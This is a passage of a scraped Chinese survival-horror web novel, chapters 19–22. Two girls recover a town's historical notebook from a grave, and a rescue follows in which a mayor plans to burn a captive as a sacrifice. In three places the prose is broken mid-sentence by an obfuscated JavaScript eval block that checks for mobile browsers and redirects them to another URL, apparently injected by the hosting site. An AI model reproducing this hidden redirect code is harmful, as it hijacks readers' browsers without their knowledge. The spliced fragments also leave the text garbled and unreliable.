奈绪讪笑:“我说怎么这么硌呢,原来我们躺在这里。” 由子鼻子一皱,就要掉下眼泪:“我还以为你醒不过来了呢,你还有心思开玩笑。” 奈绪擦去由子脸上的泪珠,拍拍肩膀站起来:“走吧,还有事情要做呢。” “你好,有人吗?”奈绪笃笃笃敲了三下门。 房内一片寂静。 奈绪将耳朵贴紧木门,又敲了一下:“有人吗?” 她听见痰黏在气管里的声音以及浊重的呼吸声,奈绪悄悄指了指木门,意思是:有人。 她正想接着敲门,身后却涌来一股乱流,她身形不稳,竟将门推开了。 露出一条漆黑的小缝,她推开门,和由子一起走了进了房间。 房子是个小平房,东西大多被水泡过,一个黄色的水盆漂浮在水中,木制家具全部损坏,倾倒了半边。 奈绪的脚经常踩到东西,一次是拖鞋,一次是铁锅,她将它们踢到一旁,朝着偏门的小房间而去。 里面几乎什么家具都没了,只剩下一张铁制的双层床,床层床下铺浸在血水中,上铺铺了一张床垫,一个人裹在毯子里,喉咙像许久没清过的烟囱,呼吸声浊重。 他裹着毯子,慢慢转过身,一双死鱼眼穿过铁杆看向下面的奈绪: “你们来干什么?” 19. 第 19 章 奈绪与由子对视一眼,奈绪开口:“你好,我们听说您父亲是记录镇子历史的,想来——” 那人不耐烦地打断她们,说:“你们不知道他死了吗?” “知道,但这个对我们很重要,如果找出这份记录,说不定能找到走出镇子的方法。” 男子斜睨一眼这两个稚气未脱的女孩,从鼻腔里哼出一声:“也就你们还会做做梦了。” 由子:“请问这个东西存放在哪里了?” 男子强撑着从上铺坐起身,喉咙里的浓痰呼噜响:“要,可以,但我有条件。” 他眼中掠过一丝精明的光。 “你们把我也带过去。” 他掀开毯子,露出两截断裂的腿:“父亲死后,我的腿在镇子的械斗里断了,竟然没有感染死掉,不过坚持到现在也快不行了,现在没办法动。” 奈绪:“你怎么证明你说的是真的?” 男子苦笑:“我现在骗你们还有什么意义?” “我父亲把他的记录带入了坟墓,没有我,光凭你们两个永远也找不到。” 奈绪诧异,她本以为由村会把记录放在家中。 奈绪爬到上铺,架住男子的两只胳膊,将他往下拽,由子在下面接着,男子极度瘦弱,身子很轻,好像一碰就要散架了。 由子:“你是想去看看你的父亲?” 男子:“算是吧。” “你叫什么名字?”奈绪问。 “快死了要什么名字。”男子冷哼。 奈绪和由子一人架着男子的一边肩膀,在漫到街道的血水中一小步一小步地行走,防止步子过大身形不稳被乱流冲翻。 据男子所说,由村的墓葬在隧道南边的高地,被一大片树木环绕着,墓穴上铺了一块刻着父亲名字的石板。 走过隧道,奈绪下意识往入口扫了一眼,隧道幽深,里面仍堆着那堆损毁的公交车铁架,隧道的一切好像都没变,只是一半的隧道浸在水中。 她好想走进去…… 走进去,走进去…… 一次又一次朝希望走去,就算会迷失在墙壁中,也好过现在…… 有个声音在她脑中响起: 过来啊…… 再试一次…… 不会有危险的,奈绪,任何情况都比现在好,不是吗? 奈绪紧抓着男子的手不自觉松脱了,眼睛也变得茫然,像是失去了自己的意识,她往隧道入口走去。 “奈绪!” 由子看她不对劲,急忙喊了一声,奈绪才忽然从这种谵妄的状态中苏醒。 “你刚才是怎么了?”由子问。 奈绪眨眨眼:“我也不知道,总觉得隧道里有什么东西在叫我。” 由子起了一身鸡皮疙瘩,神色顿敛:“不要进去,知道吗?以后你如果要到这里,一定要有我陪着。” 奈绪点点头,男子不耐烦地催促着,她们也就加快步伐,往南面的山坡上走去。 越往山坡上面走,离水面越远,她们逐渐走出及腰身的水,落到被雨水浸得湿滑的土地上。 踩上泥土时,奈绪还有种做梦般的感觉。 沿着山坡向上走,地上原本铺了一层鹅卵石小路,但经过多日雨水的冲刷,只剩下零零星星的几颗。 她们顺着这条并不清晰的石子路向上走,直到男子将手指向一片光秃秃的树林:“就在那里。” 进入树林后,奈绪她们将男子靠到一棵树边,开始在树林里寻找那块隐藏的石板。 两人找了半个小时,最后在树林的西边找到一个刻着由村名字的石板。 石板放置时间并不长,所以由村的名字还没被雨水冲刷干净。 她们将男子架到石板边,男子用断了半截的食指轻轻触碰着石板,像一个天真的孩童一样,将头颅低下,在石板上贴了一会儿。 末了,他直起身子,说: “挖吧。” 石板很重,奈绪和由子费了很大力气,才勉强移开一点,男子看着急得面红耳赤的两人,忍不住笑了。 男子:“你们笨不笨啊。” 由子瞪了一眼:“难道你聪明?” 男子指了指山坡上四周落下的树枝,说:“把这些枝条塞在开口的缝隙里,慢慢垫高,能省力得多。” 由子和奈绪对视,彼此都有些尴尬。 由子:“也许这是个好主意呢?” 她们捡来一堆树枝,塞进石板的缝隙,将石板慢慢垫高,最后共同用力一推,石板整个翻倒,露出下面的一块黑亮的棺材板。 奈绪:“这还是我第一次干这事。” 由子白了她一眼:“搞得好像我不是一样。” 两人深吸一口气,手握住棺材板,用力掀开,本以为会闻到尸体的味道,没想到棺材中放的竟然是一个骨灰盒,一时间都有些诧异。 男子:“我父亲说了,他死后把他的尸体给烧掉,防止污染典籍,我虽然不知道这么做是为了什么,现在看到你们,我倒是清楚了。” 除了骨灰盒,墓穴里还用几层厚厚的塑料布包裹着什么东西。 奈绪将塑料布层层扯开,露出里面淡蓝色的一角,是一个笔记本的封面。 此时雨还在下,奈绪确认没拿错东西后,将笔记本重新用塑料裹上,塞到怀中。 奈绪:“我们走吧。” 由子和奈绪两人去架男子的胳膊,男子却摆摆手,拒绝了两人。 奈绪:“怎么,你不走?” 男子摸了一把花白的头发,又拍了拍两条无力的腿:“看见没,我岁数很大了,估计活不下去了。” 他两只手陷在土壤中,慢慢往墓穴爬去,由子惊叫:“你要干什么?” 男子没有回答,只是爬到墓穴中,抱住了父亲的骨灰盒。 男子:“东西已经给你们了,你们走吧。” 奈绪:“你是想死在这里?” 男子别过脸去:“不关你们的事。” 奈绪:“你这样寻死,让我们怎么走?” 男子在墓穴中转过身,捡起掉落在墓穴中的枝条,朝奈绪扔去:“快走!快走!我死了关你们什么事?镇子封了这么久,你们还没明白这个道理吗?” 奈绪躲避着飞来的枝条,厉声说:“我不懂,我也不想懂!你自己寻死,我们自然不管你,但偏偏你又是我们两个架过来的,你在这里死了,我们回想起来,让我们内疚一辈子,这算是怎么回事!” 枝条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977569|161409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扔尽了,奈绪和由子一起跳进墓穴,将男子从墓穴中拉出来。 男子拼命挣扎,两人费了劲绞住他的手,男子用力抵抗着,头朝着墓穴的方向,一边流泪一边怒喝:“让我死!让我死!” 奈绪努了努嘴,由子:心领神会,将骨灰盒抱起,两个人架起男子,三人往树林外走去。 见拗不过奈绪两人,男子慢慢安静下来,直到到了平房,两人才将男子放下。 奈绪爬到上铺,将男子从由子的手中拖上来,将骨灰盒放在旁边。 整个床铺都湿了,那条毯子也脏污无比,又湿又黏,奈绪看着这副场景,犹豫不决,看向由子。 由子看出了奈绪的心思,直截了当地问男子:“你有吃的吗?” 男子愣了一下,没有想到由子会问这样一个问题,神色骤然变作警惕:“你们要干什么?” 奈绪:“有吃的就好,你这里没办法住了,把吃的东西拿上,和我们一起走吧。” 男子以为奈绪两人是想明抢,奈绪迅速解释让他的脸蒙上一层羞惭的红色,他抓紧身下的床单,声音微哑:“好。” 于是大街上出现了这样一副奇怪的画面: 两个少女架着一个失去两条腿的老年人,他身后背着一个鼓鼓囊囊的包裹,手中抱着一个方方正正的盒子。 混杂着雷霆之声的暴雨顺着狂风劲刮着她们的脸,她们在暴雨中前进。 奈绪觉得自己的身体像一只漂泊的小船,随时都会船仰人翻,但还好有一条锁链紧紧拉着风雨中的小船,那是她们的手,她们的手紧紧拉在一起,像一条坚实的锁链。 奈绪从未觉得自己如此有力量过。 “有人吗?”奈绪敲了敲门。 门内什么声音都没有。 也是,中村和右一正躲避着镇民的追捕,有些警惕心也是好的。 奈绪推开门,三人鱼贯而入,她们像鱼一样在血水中滑行,后腿用劲前蹬,扒到了楼梯口。 勉强擦了擦身体后,三人顺着楼梯往二楼走去。 精神病院有很多病房,每个病房都用铁丝网隔开,公共洗漱区域分布在东边和西边,病院虽然只有三层,但是格外宽敞。 奈绪不敢把声音放太大增加他们二人暴露的风险,她和由子一起顺着宽敞的走廊,一间病房一间病房检查,而男子被她们安排在靠楼梯的一个隔间里暂作休息。 “中村,右一——”奈绪放低声音,每经过一间病房就小声喊一遍。 没有人回应她。 两人在走廊中间碰头。 奈绪:“你那边找到了吗?” “没有,你呢?” “我这边也没有。” 由子:“那怎么办?” 奈绪:“上三楼看看。” 三楼更加寂静,她们转了一圈,也没有找见他们二人的身影。 楼下有动静,奈绪撕开垃圾袋的一角,从缝隙往楼下瞧,看见友树,龙太郎,雄一三人已经回来了,而夏美被绑在雄一胸前的包裹里,嘴巴一撇,正哇哇大哭。 夏美的哭声聒噪,奈绪紧绷着的情绪被哭声搅得烦躁,再也控制不住自己的声音,对着三楼大喊: “你们到底去哪里了——” 20. 血水 雨,好大的雨。 如同银盆倾倒,雨水肆意冲刮着糊了塑料布的窗户,塑料袋被狂风吹得猎猎作响。 奈绪,由子和刚回来的一群人坐在一起,烛光惨惨,他们的脸上都渡了一层稀薄的火光,眼睛无神,满是悚然。 雄一面容僵硬,扯开嘴角道:“他们两个……应该是被抓走了。” 一听到奈绪的叫喊,他们就冲上楼去,谨慎地检查了房间的所有角落,没有藏人。 唯一异样的,便是三楼的门。 出门寻找能用的水源之前,他们特意叮嘱过右一和中村,躲在三楼的房间中,不许出来。 房间连通了卧室和厕所,还悲了一些水源和食物,在里面待上一天是没什么问题的。 而三楼的门更是异常坚固,这是过去关押精神病人的房间,房门设了几层锁,只有内部和外部同时动作,房门才能打开。 而奈绪回来时,房门开着,里面已经没了人。 奈绪瞥了门一眼,重新检查一遍,门锁完好,没有任何暴力闯入的迹象,她抬起脸,雄一视线幽幽,眸色深沉,和奈绪对视。 他轻轻点了点头。 “由子。”奈绪招招手,“先让大家吃饭吧,忙了一天了。” 奈绪张开双手,抱住夏美,夏美脸上还有残存的泪珠,奈绪用指腹轻柔擦拭着,又揉了一下夏美的头发,故意放大声音,惊叫道:“雄一叔叔,夏美怎么受伤了?头上肿了个包?快,我药箱里有药,先给她抹上。” 雄一心领神会,跟着奈绪沿着楼梯走了下去,穿过走廊来到僻静的房间。 房间里几乎什么都没有,只有药箱和两三把凳子,奈绪在凳子上坐下,药箱放在腿上,颔首示意雄一坐下。 确认外面没有人的脚步声后,雄一微微点头。 奈绪这才开口:“看来我们的想法是一致的。” “我们的人中出了叛徒。” 右一和中村都是值得信赖的人,绝不会贸然给陌生人开门,门锁也没有任何损坏。 只可能是右一与中村相熟的人,在外部打开房门,同时右一两人在内部打开。 开门后,也许是那个人迷晕了两人—— 不对。 奈绪摇头,那个人一定有帮手,或者说,他负责当诱饵诱导打开房门,而后其他人闯入,将两人绑走。 奈绪脸色阴冷得吓人,语气淡淡:“今天我和由子一同出门,可以互相作证,你那边呢?” 雄一擦了下额角渗出的汗水,他被自己的猜测搅得心神不宁,语气微顿:“我,龙太郎,友树,我们三人一出街道便被乱流冲散了,直到天快黑,我们才在附近集合,一起回来。” 奈绪:“你们都带回什么东西?” 雄一神色微凛:“我找到一出空房子,在里面找到几包饼干,以及几件趁手的武器。” “友树找到几瓶干净的水,一路背了回来。” “龙太郎他背回了一个包,到现在还没看过。不过他自己说是一些衣服。” 只可惜地板泥泞,没有办法分辨有谁提前回来过。不然只要一看脚印干涸程度,谁撒了谎就不攻自破了。 奈绪将这些话默默记在脑中,又拿出镇子的地图仔细对照,末了叹息一声,重新收起。 奈绪从口袋中拿出笔记本,笔记本被塑料布层层包裹,她将塑料扯开,幸好,除了表面被淋湿一小块外,其余部分都是干燥的。 她掏出一盒火柴,在雄一的目光下又点亮一个油灯,放到靠近笔记本的位置。 雄一抱着夏美凑过来,拉一张凳子坐下,奈绪翻开封皮,在发黄的纸页间寻找。 她没有将内容念出,但顺着她在薄纸上不断划动的指尖,两人都看得清楚。 根据笔记所说,千鱼镇建立最初,这里不过是一片临海的荒地,并未有人在此探索过。 当第一批人来到这里时,镇子并不和平,时常会有青蛙,虱子等灾害泛滥,也曾经出现过这种镇子封闭的情况。 不过历史上,这种情况持续的时间并不长。 奈绪翻看着笔记本,笔记本中画了几个简单的路线图,标记了几处灾害发生的地点,并将这些地点连成了线。 奈绪将手边的镇子地形图和笔记本上的地形图对照起来。 当时镇子各个建筑的位置与现在不同,奈绪用油灯照着,光线亮了些,隐藏的痕迹逐渐显现。 地点出现了重叠,分别是: 学校,隧道,海边。 同时,多年前灾难走过的路线也与如今灾难的路线发生了重叠。 是一个“井”字。 镇长的房子被困在最中间,“井”字贯穿了镇子,灾难发生的路线也沿着“井”字的笔画进行。 奈绪想起第一次蝗虫爆发的时候,龙太郎和镇长骏平讨论的内容,那时候他们还在疑惑虫巢的位置为什么会呈现这样排列。 雄一顿时瞪大眼睛,一脸不可思议:“难道我们这次灾难的降临和多年前的这些事情一样?” 奈绪敲敲桌子:“我们显然比以前严重太多了。” 从前这些镇子封闭一天两天,对镇子的运行无伤大雅,更没有什么血水之灾降临。 “他们从前是用什么办法解决的?”雄一声音低哑,不安地看着门口,提防着其他人的出现。 奈绪手指在笔记的一页上停下,喃喃自语:“不对啊……” “哪里不对?” 奈绪:“笔记上所记,这些灾难最后一次出现是在五十年前,那个冬天,镇子上出现了为期三天的封闭,公交车无法驶出镇子,而当时镇子上出现了小面积的恐慌情绪。” “他们的解决办法是什么?” 奈绪罕见沉默了,雄一接过奈绪手中的笔记,盯着瞧了半分钟,上下颚格格作响。 “敲钟?”他恨恨地说:“钟在哪里?” 一行人吃过晚饭后,一同坐在桌子前。 外面雨下得愈发大了,雷声似乎在楼顶滚来滚去,水已经涨到了二楼,二楼积了一层薄薄的血水,没办法再住人了。 街道之上,血水重刷得更激烈了,一楼的房子都被冲得破碎,窗户歪着,许多店铺残败的牌匾被冲得螺丝松动,嘎吱作响,下一秒就会脱离墙壁卷入湍流。 二楼没法住人了,奈绪将男子喊出,引他到三楼。 “你带他回来干什么?多一个人就多一张嘴啊。”友树不满。 奈绪:“你今晚吃的就是他的饭。” 男子简单介绍了自己,他叫刚志,六十三岁,从小跟随父亲在镇子上居住,父亲长寿,一百多岁,不久前刚刚去世。 几人一见如故,很快热络地聊起天来。 当天半夜,男子留在房中,而奈绪和其他人一起,全副武装出了门。 雨水淹到了二楼,为了出门,他们打开了三楼的窗户,跳进水中。 临走前,龙太郎从黑色书包中拿出几件能遇水充气的衣服,给他们换上,这种衣服不能在洪流中支持太长时间,他们拆了精神病院中的几块泡沫板当做浮板,同时用绳子绑在腰上,防止洪流将他们冲走。 龙太郎刚从包里将安全服拿出来,就察觉到背后一丝若有若无的眼神,他扭过头去,雄一立刻别过脸,哼着歌抱着夏美离开。 “莫名其妙。”龙太郎冷哼一声,推了推眼镜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977570|161409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “抓紧了!”奈绪腰上勒紧绳子,右手扒住一块泡沫浮板,左手在脸上抹了一把。 血水仍然顺着她脸颊流下,但她已经不再害怕,脸上是诡异的平静。 由子安全衣进了空气鼓起,整个人漂浮在水面上,她与奈绪离得最近,两人作为队伍的前锋,在黑暗中前进着。 潮水退去,黑夜降临。 其他人到夜晚都会慌张不安,奈绪对黑暗却有一种莫名的依赖。 自从镇子进入灾难状态,镇民就失去了从前的平和,资源的争夺是这几个月来的主题,独自走在街上,都有可能遭受到镇民的袭击。 从前,珠惠的爸爸骏平还在时,镇子还尚未陷入疯癫的状态,而现在,镇子已面目全非。 只有在黑夜中,别人看不清他们,不知晓他们的踪迹,他们才能获得真正的安心与自由。 他们隐没在黑暗中,在水上随水波漂浮,像一群湿了翅膀的飞蚁。 即便我们是蚂蚁,我们也要活下去。 奈绪在心中默念着这句话: 我要活下去。 我要活下去。 没人能取我的命,谁敢要我的命,我就和他斗到底。 和镇长骏平的两层小房不同,新任镇长的房子是一栋三层小楼,一楼和二楼的灯光都因为雨水而熄灭了,三楼亮着灯光,窗户用窗帘遮住,看不清里面的情形。 奈绪稳住步子,手扯着绳子,一群人往对面的小楼游去。 夏美眨着眼睛,处在黑暗中靠着父亲温热的胸膛,一言不发,圆眼睛滴溜溜转,她的眼睛什么也看不见,茫然地瞪着黑暗中游动的人影。 雄一的身形忽然一滞,绳子倏然勒紧,乱流冲击,身体不受控地旋转起来,夏美感到自己的身体被父亲抱紧,父亲低低地喊:“有乱流!小心,都抓紧都抓紧!” 话刚落,雄一身旁的龙太郎就被乱流卷着,瘦弱的身板承受不住激流,手足无措地被乱流冲向远方。 而他背后背着的那个黑书包,也与龙太郎失散,被卷进漩涡,龙太郎顾不上自身安全,一猛子扎进水中去寻找。 “你疯了!” 雄一怒喝,抱着夏美,拽着缠在腰上的绳子,后退几步,在龙太郎彻底消失在水中前,用力拖住了他的衣领。 龙太郎的眼镜被血水冲刷,看不清前路,只觉得衣领被一只有力的手拽着,拖出了水面。 龙太郎被雄一拖出水面,拖上小楼,奈绪几人也站在那里,手忙脚乱把龙太郎拖上去。 雄一怒气冲冲:“你真是疯了,一个书包有什么重要的!难道你书包里放了什么见不得人的东西?” 龙太郎吐出一口浊水,没有说话,雄一一顿教训后,龙太郎的脸看上去心虚至极。 奈绪示意两人安静,经过短暂的休息后,奈绪靠在窗帘旁,掀开一条缝,盯着对面的动静。 当第一缕希望的微光照耀千鱼镇的大地时,奈绪正瞪着布满红血丝的眼睛,全神贯注地瞧着对面的动静。 风雨初停,街上的乱流也少了些。 经过多日的血雨冲刷,天空中浓云散尽,阳光遍撒,镇子的水位也在缓慢下降。 但这并不意味着和平。 二楼的窗户被打开,一抹明亮的橙色出现在窗边,那是镇长。 整面推拉式落地窗被拉开,窗帘被扯到另一侧,奈绪听见轰隆轰隆的声响,即便在对面也听得见。 “是船!”奈绪控制不住低声惊呼。 一艘接一艘的小船被推了出来,足有七八人之多。 奈绪在心中默默数着,直到数到第三艘船时,她面若寒冰,低声道: “中村在这艘船上。” 21. 血水 其他船中都至少坐了两个人,而第三艘船和第四艘船都只坐了一人。 船只是镇子的紧缺物品,绝不会这样浪费,只有一种可能,就是船上放了东西,而且重量还不小,处于安全考虑,他们不得不这样安排。 奈绪眯着眼睛,眸中冷色更甚,视线如同利刃射向坐在船中心的镇长。 他整了整衣领,身上的橙色游泳圈分外扎眼,他将袖子捋下,盖住了手臂。 奈绪敏锐捕捉到了这点异样,视线移动,又看向镇长身边的其他几人,他们大多身穿长袖长裤,领子竖起盖住半边脸。 隔得太远,奈绪看不清楚,只好暂时作罢。 奈绪:“现在水位降了,我们不必再一起出现,我和雄一前往解救他们,龙太郎在暗处配合,友树,你和由子一起待在这里。” 雄一将夏美从怀中解下,恋恋不舍地交给由子:“外面太危险了,我不能带着她到处走,由子,真是辛苦你了。” 夏美忽然哇哇大哭起来,鼻涕冒了个泡,一张小脸皱得通红。 雄一有些不舍,他用纸将夏美的鼻涕擦去,又揉了一下夏美的头发:“夏美真是个可爱的女孩,长得很像她妈妈。” 奈绪心里也不舒服,她一夜没睡,两眼通红,拉着由子的手,直到门口才松开。 “我走了。”她说。 水位下降了不少,镇长一行人的小船在水面上晃晃悠悠漂浮着,他们手中拿桨,在血水中划起浑浊的浪花。 一共有七艘小船,排成一列慢悠悠穿越被雨水漫灌的街道,奈绪不知道他们要去哪里。 镇子上所有的船只都被他们给占了,奈绪和雄一都穿上了不多的安全服,在水中能勉强漂浮。 以防万一,奈绪和雄一都扯了几件深色衣服披在身上,晨光初亮,镇子的中心被日光照得透亮,奈绪和雄一隐匿在边角,跟着这七艘小船游着。 龙太郎远远跟在他们后面,以防二人发生不测时可以及时通风报信。 “镇长,要是那几个人找过来怎么办?”一个瘦的像干的高个男子问。 镇长:“我们十几个人,他们几个人?还是一帮老弱病残,更何况我们做的是一件对的事。” “镇长,如果我们把这两个人给献祭了,但不管用怎么办?” 镇长没有回头,话里含着怒气:“难道那片鱼鳞是谁刻了放到我井里的吗?圆子,这是天意,上天知道我可堪大用,所以给我降下最艰巨的任务,这是神的预示!” 叫圆子的男人小声嘟囔着:“神就一定会指示我们走出灾难吗?我如果是个神,我就不会这样做。” “所以你才成不了神啊!”镇长冷哼一声,从防水服中掏出一根烟,又从船板中翻出打火机。 “嗤——” 镇长咬紧烟,猛吸一大口,啧啧称叹:“你别说,这帮镇民们买的烟还真不错。” “那我们现在带着他们,是要去哪里?既然是献祭,为什么不说清楚一些?” 镇长手中的烟烧到一半,他又抽了一口,白烟从嘴边喷出,他手指掐着烟蒂,往一个方向点了点: “往那里去。” 船经过拐角,往前镇长骏平的房子驶去,一艘一艘的船都驶过街角,一共过了六艘。 最后那人刚将桨插入水中,想加快速度赶上其他人,脖子却遭了重重一击。 奈绪拖着被打晕的男人,将他塞进旁边一栋空房子内。 “快!”雄一正在喊她。 她扒住船身,坐上摇晃的小船,木桨在水中划得飞快。 镇长一群人往村井骏平的房子去了,看来不止自己发现了镇子布局的规律。 他们要将这里作为献祭地点,而奈绪需要抢在他们之前抢先溜入房子,伺机而动。 一旦右一与中村清醒过来,谁是真正的叛徒,就很清晰了。 她扭头看向远远跟着的龙太郎,龙太郎的镜片在太阳下反着光,小心地靠着一块浮板。 奈绪有意将两个叛徒人选分开,只要其中一个有异常举动,就能迅速暴露。 她现在尚没有打消对龙太郎的疑虑。 龙太郎是她最敬佩的老师,也是知心的朋友,可为了集体的利益,她不能仅仅依靠直觉判断。 正思索着,小船已经划到了房子后门,后门稍微一推就开了,后院残破,枝条都沤烂在水中,大块大块的霉菌生长着,不堪入目的脏东西漂浮在水面上。 龙太郎也溜进小院,他情绪低沉,指着二楼的房间,对奈绪说:“在医院的火灾发生后,珠惠的妈妈在那里上吊自杀了。” 奈绪咬紧下颌,手指成拳捏得青白,脸上仍是平静,看向二楼的窗户,那里用木板钉死,没办法看到内部的样子。 她不能轻易表露自己的情绪。 她不只是为中村和右一而来的,也并不是为在医院的无数被火焰烧死的冤魂而来,她一颗十八岁的心灵承载不起太重的责任。 她只是想着: 我为珠惠而来。 我为步美而来。 我为镇子上最优秀的镇长而来。 在医院火灾过后,现任镇长的很快褪下假面,率领一群人在镇子里进行搜查,美名其曰:资源利用。 谁的资源?医院里的那帮亡魂的。 奈绪将小船藏在后门外的一颗歪脖子树后,而后和雄一一起游进后院的走廊。 走廊几近废弃,上面堆了不少没用的杂物,杂物阻挡了他们对房子的探索,不过也正好为他们提供了合适的藏匿空间。 在一堆脏污的木桌和床单前,奈绪蹲下身,小腿传来轻微的疼痛感,奈绪掀开裤子,将绑着小腿的尖刀抽出,尖刀划破了她的一点皮肤。 将尖刀打了个转,她紧握在手中,旁边雄一一直看着她,她扭头冲他一笑:“你看什么?” 雄一摇摇头,两条粗眉毛皱得有些苦涩:“我只是觉得……我们怎么会落到现在这个地步,之前你还是一个在镇子上买零食的小姑娘呢。” 奈绪嘴角瞬间僵硬,笑容僵在脸上,几个月前的时光,好像是上辈子的记忆了。 “你不也一样?”奈绪反问:“那时候我们都想不到现在会这样。” 奈绪低下头,用指腹慢慢擦过刀刃的最边缘,“感觉像是很久以前的事了。” 在来之前,他们就已经商量好了对策,救出右一与中村放在首位,手刃镇长放在第二位。 “镇长,这房子太乱了,我们要在哪里祭奠?”一个粗犷的声音。 镇长:“根据鱼鳞上所说,需要提前设下鱼台,在午夜时分将他们烧死在鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没有中村的声音。 右一的声音响起,极度虚弱:“奈、奈绪?” “嘘。”奈绪比了个手势,右一立刻噤声。 奈绪将右一的绳子割开,递给他一个木棍,让他在原地躺着,先不要动。 黑洞洞的房间里,只有房门露出一丝蜡烛的光亮,光影在地板上晃动着,逐渐靠近了房门。 房门轴承生锈,许久没有上油了,那人推开房门的声音吱呀响,奈绪留神着每一处细微的差别,大拇指下意识在刀背上擦着。 一个满脸横肉的男人迈着沉重的步子踏进门内,灯影摇晃,他一眼便看见了中村,他还像老样子一样躺在地上。 “他奶奶的,都是一帮懒货,没一个人来替我,我上个厕所都不得闲。” 他朝着中村的肚子踢了一脚,中村却忽然身子一闪,从他脚边躲过了,紧接着一根木棒直中面门。 中村虚弱,木棒打得不痛,他扯过木棒后形势便很快转变,逼得中村节节败退,退到了墙角。 呲—— 他将木棒朝中村的头打去,却听见了血管破裂的声音。 22. 血水 门敲了三下。 房间内,明明是炎热的夏季,气氛却冷得像冰。 右一躺在鱼台的鱼眼处,体内注射的麻药逐渐分解,意识慢慢恢复。 他睁开了眼睛,他听到了敲门声,他的脚踢到了一大瓶塑料瓶,上面用马克笔标记了“汽油”两个字。 身旁,十二双眼睛正盯着他。 他挣扎一下,发现身上绑了几根粗绳子,没办法站起来。 敲门声又响了,右一才知道这声音并不是自己的幻觉。 最上方挂着一个钟表,钟表的秒针正一圈一圈地旋转着,还剩三分钟就要到午夜零点了。 敲门声还在继续,外面的人没有说话,镇长喊了几声,门外也无人回应。 “怎么回事?”镇长不耐烦,冲身旁的男子喊:“去开门看看。” 镇长使了个眼神,男子心领神会,抄起一根棍子,半边身子靠着门边,小心地将门打开。 开门的瞬间,男子手中的棍子猛力往对面打去,迎面而来的是一个满脸是血的男人,脑壳被这根棍子大力击打,瞬间晕了过去。 男人倒地的瞬间,一只青白的生着青筋的手有力地抓住了男子的衣领,将他向后拖去,同时,门内的男人腹部挨了一下,连连后退,摸向肚子时摸了一手血。 “你特么……”男子怒吼一声,“你从哪里来的?” 右一眼前一亮,忙扭动身体挣扎着跪坐起来,大声喊:“奈绪!我在这里!” 奈绪:“知道了。” 奈绪身后出现了三个人影,分别是龙太郎,中村,雄一。 奈绪表情淡淡,手拎着晕倒男人的衣领,男子手臂软软垂下,肩膀还流着血,意识涣散。 奈绪平淡无波的眼神看向房间里的人,最后与房间内的镇长对视。 她没有立即开口,两人的眼神无声较量着,镇长看着奈绪瘦弱的身躯,不屑地扭头勾起嘴角。 “是奈绪啊,看着还像个高中生呢,怎么,不好好待在家里复习功课,怎么跑到这里来了,没被吓坏吧?” 室内一阵哄笑,镇长偏过头,用牙齿剔了剔牙,不耐烦地哼出一句:“你想干什么?” “不干什么。”奈绪笑了一下,“只是想换个人而已。” 奈绪拍了一下晕倒男人的脸,迫使他睁开眼睛,说:“用他,换里面那个人。” 她将刀子抵在男人脖子上,另一只手指向右一:“就他。” 镇长两手撑地,从地上站起,“你凭什么认为我会留下他?现在只剩两分钟了,再不祭祀就来不及了。” 他一边说着,一边打开了汽油塑料瓶,将整瓶汽油沿着右一头顶泼下,右一呸了两声,大口呼吸着空气。 镇长从口袋里掏出一个打火机,面对奈绪露出了一个笑容,笑容扯起眼角旁的褶皱,看起来笑得分外夸张:“奈绪小姐,我们都是在镇子上长大的,你怎么就不为镇子想想呢?” “万一这件事情成功了,那可是好的很啊,你到时候也是受益方。” “况且,现在——” “掌控权并不在你的手里。” 金属摩擦声,打火机被点亮,细长的火焰在黑暗中舞动,分外迷人而危险。 右一吓得腿脚哆嗦,努力想要离那团火焰远一些,早已控制不住脸上的表情,泪水沿颊边流下。 他哆哆嗦嗦:“奈绪……你,你快走吧,记得照顾好由子,别管我了……” 奈绪没有回答,只将尖刀又朝男子的颈部抵近,一滴细小的血珠顺着皮肤流下。 男子被痛意刺激得完全清醒,不住地祈求着镇长:“镇长……我们一帮人好歹也相处了这么久……当初,当初你烧医院的汽油还是我帮你扛的呢……” “住嘴!” 镇长一声怒喝,男子闭上嘴巴,奈绪的眼皮轻微跳动一下,手上却没有松半分。 “镇长……”镇长身旁,几个壮汉挤过来,“好歹他也跟了我们这么久……镇子上的长子又不是只有一人,我记得你……” 一个响亮的耳光。 那人捂着脸,悻悻退下。 “镇长,他说的也在理,其他人还能再抓,但兄弟们的心不齐就不好了。” 更多的人挤了过来,七嘴八舌劝说着。 雄一看了一眼奈绪,事情果然如他们所料,镇长不愿意换人,但这件事由不得他。 他身旁那些劝导的男人,都是天生的逐利者,他们并非是想救下奈绪手中的男子,只是在为未来的自己考虑罢了。 房间里的吵闹声越来越激烈,一个人甚至推搡了镇长一把。 只剩两分钟了,镇长看向钟表。 “好了,好了。”镇长无奈地举起双手:“那就放。” 奈绪把男人交给雄一,雄一架着男子的两条胳膊,镇长一只手押着右一,两人都往门口走去,对视一眼后分别松开手。 